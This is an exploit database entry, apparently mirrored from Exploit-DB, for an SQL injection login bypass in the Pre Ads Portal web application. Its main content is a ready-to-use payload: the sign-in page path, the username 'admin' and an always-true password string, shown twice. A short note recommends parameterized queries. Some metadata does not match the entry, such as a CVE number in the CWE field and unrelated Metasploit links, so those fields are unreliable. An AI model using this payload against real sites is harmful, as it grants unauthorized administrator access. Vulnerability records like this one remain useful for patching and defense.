header-logo
Suggest Exploit
vendor:
Pre Ads Portal
by:
Cru3l.b0y
9,3
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Pre Ads Portal
Affected Version From: 1.0
Affected Version To: 2.0
Patch Exists: YES
Related CWE: CVE-2010-4456
CPE: a:preproject:pre_ads_portal
Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0110/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2008-4456/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2010

PRE ADS PORTAL SQL Bypass Vulnerability

go to /signinform.php Username : admin Password : 1'or'1'='1

Mitigation:

The best way to mitigate this vulnerability is to use parameterized queries. This will ensure that the user input is treated as a string value and not as a part of the SQL query.
Source

Exploit-DB raw data:

In The Name Of GOD
[+] Exploit Title: PRE ADS PORTAL SQL Bypass Vulnerability
[+] Date: 2010-11-13
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.preproject.com/ads.asp
[+] Price : 125.00$
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit : 

            go to /signinform.php
            Username : admin
            Password : 1'or'1'='1

Navigation

Suggest Exploit

Services By CQR